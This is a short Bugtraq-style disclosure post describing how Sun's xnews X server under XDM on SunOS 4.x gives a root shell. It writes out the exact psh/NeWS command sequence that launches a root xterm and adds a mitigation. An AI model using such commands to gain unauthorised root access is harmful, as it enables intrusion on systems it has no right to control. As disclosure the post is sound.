Bugtraq: xnews and XDM

[grue () engin umich edu (Paul Howell)]

I found out a few months ago a way to get a root shell on a 
Sun running XDM and using Sun's xnews X server.

Running these commands:
/usr/openwin/bin/psh
/NeWS 3 0 findpackage beginpackage
executive
(/usr/local/bin/xterm -display localhost:0) pipe

Gives a root shell with Openwindows and SunOS 4.x.  You have
to be logged in via XDM.

I called Sun and told them about this and was told the
fix is to upgrade to Solaris, which does not use xnews but
the MIT X server instead.

I ended up changing XDM to run xnews as another user and
setting their shell to be /bin/false in the passwd file.

The psh command adheres to X server permissions.  Meaning
that if you do a 'xhost +' then anyone could run a shell
as root.  

While I haven't tried this, I imagine that if you start xnews
up by running the openwin script, and then allowed connections
to your X server (xnews) then others could get a shell as you.
 
< Paul